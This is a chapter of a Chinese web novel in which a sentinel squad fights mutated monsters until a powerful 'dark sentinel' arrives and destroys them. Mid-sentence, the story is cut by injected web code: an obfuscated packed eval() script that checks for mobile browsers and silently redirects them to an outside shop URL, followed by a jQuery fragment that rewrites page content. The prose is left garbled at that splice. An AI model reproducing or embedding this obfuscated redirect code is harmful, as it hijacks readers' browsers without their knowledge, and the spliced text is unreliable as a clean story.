污染物似乎又发生了变异。野牛大小,外骨骼嵌进蛤蟆般脓肿的皮肤里,巨爪似犀牛角。

    它学着人一样直立,厚重的脚爪踏出浅坑,腾起小小的尘土。它自由伸缩巨大的手爪,试图抓住旷兔。

    旷兔身躯修长、四肢矫健,最重要的是具有智慧。

    她释出自己的精神体,同样矫健的兔子。兔子暴涨身形,像条狼狗一般大,足肢强壮有力,速度飞快。

    兔子硬生生用后腿蹬烂污染物的眼睛。旷兔连射几发骸子弹,命中污染物的脚爪。黑色脓液喷射。冒青的土地覆盖了稀薄的黑,草叶瞬时枯萎。

    污染物不断吼叫,召集它的同伴。几只巨爪携着烈风呼啸而来,左右夹击,如拋砸一颗石子,将旷兔砸落地面。

    身体似劈断的竹子般闷响一声。旷兔趴在地上,一动不动。她头晕眼花,鲜血从口鼻里汩汩流出。

    巨爪抬起,高高地锤下。

    千钧一发之际,几声枪响,强大的冲击力爆发,巨爪四分五裂,黑色黏液淅淅沥沥淋下来。

    叶维清高举手枪,硝烟从枪管缓慢逸散。

    灰鼠窜到旷兔身边,将她翻过来,使劲掐她的人中。

    旷兔醒转,抹去脸上的血,可越抹越多,索性不再管。她艰难地站起来,身体摇摇晃晃,和灰鼠跑至叶维清身边。

    “郊狼稳定下来了,现在就撤离。”灰鼠说。旷兔接过灰鼠的止血棉,塞进鼻子。

    污染物发了狂,巨爪猛烈横扫周围的树木,枝叶震动,源源不断坠落。越来越多的污染物接受信号,赶往此处。

    叶维清前进几步,挡在她们面前,直面污染物。污染物逼上前来,她沉心静气,子弹嗖嗖射向它们的腿。

    污染物的速度减缓了,三人趁机钻回草丛内。

    明月遥陪在郊狼身边,听到草丛的动静,警惕地举起枪,看到是熟悉的队友,才放下。

    旷兔冲到郊狼身前,见她安稳睡着,拽起她的胳膊,重重一撂,把她送到自己背上。

    惊人的震动和可怖的吼叫正快速靠近。

    一股烈风横扫葳蕤的草丛。污染物的巨爪轻轻松松斩断柔嫩的草叶,将她们彻底暴露出来。

    巨爪拍过来,众人拔足狂奔,绕到巨大的榕树后。污染物紧随她们其后。

    叶维清朝后望了一眼。旷兔因为背着人,落在最后,污染物伸出长长的巨爪,爪尖一勾,刚好划烂郊狼背后的衣料。旷兔额头冒汗,加快速度。

    细弱的菟丝子一根接一根,在叶维清手上交缠成绳。她刻意放慢脚步,落在最后。

    菟丝子的绳索被高高甩到半空,粘在巨爪上,这点微小的力量只让巨爪停滞了一秒,也正是这一秒,叶维清打空了剩余的子弹。巨爪与长臂分成两半,砸在地上。污染物挥舞着喷射脓液的残肢,发出鸟的哭叫。

    前方,队友纷纷止步,回过头来。叶维清忙叫:“你们先走,我马上跟上。”

    “你难道想一个人殿后?”旷兔的言辞激烈,“你只是个F级,想送死直说!”

    污染物踏平同类的残肢而来,像发疯的野牛群,所过之处,寸草不生。

    叶维清转身狂奔,心脏几乎要把胸腔撞破。她落后队友一大截距离,污染物自然将她当作最佳目标。几只巨爪争相击来,要将她攥在爪子里,挤成肉末。

    比狗还要大的灰色老鼠朝污染物而来,速度太快,简直像贴地飞行。

    鼠横冲直撞,亮出尖利的小牙齿,啃噬污染物的皮肤。它们收回巨爪,将身边乱窜的大老鼠像球一样拍击。

    叶维清暂缓一口气,跟上队友的脚步。灰鼠捂住胸口,露出痛苦的表情,连忙召回自己的精神体。

    她们拐进生长荆棘丛和巨大树木的道路。茂盛的植物为她们遮藏踪迹,只远远闻其声,而不见污染物的踪影。

    她们慢下步伐,穿越密密匝匝的荆棘丛。棘刺时不时勾住叶维清的衣服和皮肤,和变异污染物相比,这根本不算什么,她甚至有劫后余生的愉悦。

    旷兔始终紧绷着脸,明月遥也不安地环顾四周。这两人同时僵住身体,似乎知晓了什么噩耗。

    “等等,不好,跑!”

    旷兔收回在探查的精神力,恐怖地叫道。

    荆棘丛猛然被掀飞,根系扒着泥土在空中舞动最后的生命。土腥味弥漫开来。

    污染物将她们团团包围,越来越多,不知从何冒出来。它们清扫了碍眼的荆棘丛,把树木也连根拔起,砸向她们。

    叶维清躲闪开,尘埃漫漫,她呛咳几声,挥散眼前的尘土;

    灰鼠和旷兔护卫昏迷的郊狼;

    而明月遥摔倒在地,刚要爬起来,巨爪袭来。

    一片沉重的阴影降下。竹叶青蛇闪电般迎面飞向巨爪,想要保护主人。

    螳臂当车。

    蛇同他的精神力一样虚弱,一触到坚硬的巨爪,就软绵绵落在地上。

    明月遥认命地闭上眼,准备迎接他肖想过无数次的死亡。

    猛然间,一股温柔又刚健的力量将他撞离原地。令人胆颤的砸击声近在咫尺,他睁开眼,恶臭的巨爪就落在他身旁。

    他抬起眼看,不期然的,闯进叶维清那双坚定有力的眼睛里。

    她的双眼像两颗在激流中不移的黑色顽石。

    在污染物发动新一轮攻势前,叶维清跳起身,又立刻拖起明月遥,将他挡在身后。

    枪声四起。骸子弹是对付污染物的利器,可子弹总有用完的时候。叶维清连扣扳机,回应她的是空寂。枪里空无一物,她只好收回手枪。

    她尚存有体力和精神力,若是自己独自跑开,还能多撑一会儿等待救援,但是,她偷偷瞟了一眼明月遥,她必须要……

    明月遥察觉到了她的目光,摇摇头,冷静地比划手语。

    他让她快跑。

    叶维清沉下脸,专心致志看着污染物。

    她无法抛弃他,无法抛弃弱小的同伴。

    菟丝子沿着污染物的脚爪攀爬,瞬息间布满全身。叶维清疲累得气喘吁吁。

    这样的攻击太虚张声势,污染物只被牵制了十来秒。

    巨爪扫来,她推开明月遥,用菟丝子缠成的绳索捆上巨爪。巨爪一使劲,扯断菟丝子,反客为主,用绳索击飞了她。

    叶维清的头重重磕到地上,头晕眼花。如噩梦一般,泥土的腥气、污染物的臭气、莫名的香气,统统袭来,涌进鼻腔。

    同时,咽喉深处翻上来一大股铁锈味,她硬生生忍住呕吐感,将血咽回去,似

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940123|213891||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    乎这样能假装自己安然无恙。

    一只柔软的手握住她的手腕,想将她拉起来,逃离这个危险之地。

    逃吧,逃吧!

    朦胧间,她看到无数恐怖的巨爪笼罩住自己,黑压压的。她好像变成了从前那个孤零零的小孩,在学校屋檐下,仰望暴雨如注的黑色天空,等待一把永远不会到来的伞。

    和从前不同的是,有一只手拉住了她。可她想甩开这只柔软的手,她想说她可以自己逃出去,快走别管她。

    万物寂静,只有各种气味混杂,包围着她。

    也许只过了几秒,却像千万年之久。什么都没发生。

    叶维清的头脑清醒多了。她半睁开眼,看到明月遥跪坐在自己身旁,正仰头凝望。她不禁顺着他的视线看去。

    污染物收回了那些恐怖的爪子,它们的头顶漂浮光怪陆离的异彩,丝纱般轻轻罩下,将令人作呕的皮肤遮起。

    污染物怪叫着,想擦去落在身上的华彩。

    “操,是他!”

    不远处,旷兔吃惊道,语气里竟有几分宽心。

    “他居然来了……太好了。”灰鼠几乎与旷兔同时脱口。她紧绷的身体瞬间松懈下来,差点跪倒在地。

    叶维清捂着隐痛的后脑勺,坐起来,问道:“谁来了?”她想站起来,明月遥扶了她一把。

    “元师师,那个……黑暗哨兵,非常强,但他也……”灰鼠左顾右盼,越说到后面声音越小,像是忌惮被听到。

    叶维清对黑暗哨兵略有耳闻。不需要进行疏导的哨兵,伴随与生俱来的天赋,是稳定的人形兵器。

    日斜西山,太阳放射最后的光辉,周围的植物染上厚重的橙黄色。

    轻快的音乐从植株间穿过,这是一首经典歌谣,哼唱的人的嗓音干净,质感醇厚。

    一只修长的手从草丛间探出,蝴蝶悬于指尖,蝶翼斑纹兼具青、粉、绿三色。

    蝴蝶扑扇蝶翼飞来。

    “小心点。”灰鼠提醒道,然后退至一棵树后躲藏起来。

    叶维清尚不明白要小心什么。

    那些绚丽的丝纱样的东西,把污染物裹得严严实实,一层叠一层。日光落下,折射出梦幻的色彩。

    蝴蝶在污染物头顶飞旋,如花间起舞。浓厚的精神力铺满天地。

    权能展开——“七重纱舞”!

    突然,梦幻的丝纱收紧,束缚住污染物,连它们的叫声都无法穿透。

    叶维清确定自己只是眨了一下眼,碎肉块和骨头渣就飞溅到她身上,带着粘稠的脓液,新鲜到里面的肌肉组织还在跳动。

    所有污染物,统统在华美的丝纱下爆炸成了一滩烂肉,黑色脓血飞扬满天,又迅速降落,像下了一场小雨。

    叶维清呆呆看向周围的队友。

    灰鼠在树后躲过一劫;旷兔脱下外套挡住自己和郊狼的头,外套脏污不堪;明月遥正扔掉粘在头发上的一截碎骨头,他的脸颊滴落脓血。

    灰鼠从树后跑了出来,掏出绷带,递给叶维清和明月遥擦拭。

    哼唱声又响起,飘飘忽忽,愈来愈近。

    所有人静静倾听,转向哼唱声的来源。

    期待、紧张、疑惑、害怕……种种情绪交织,隐秘地在众人之间弥漫。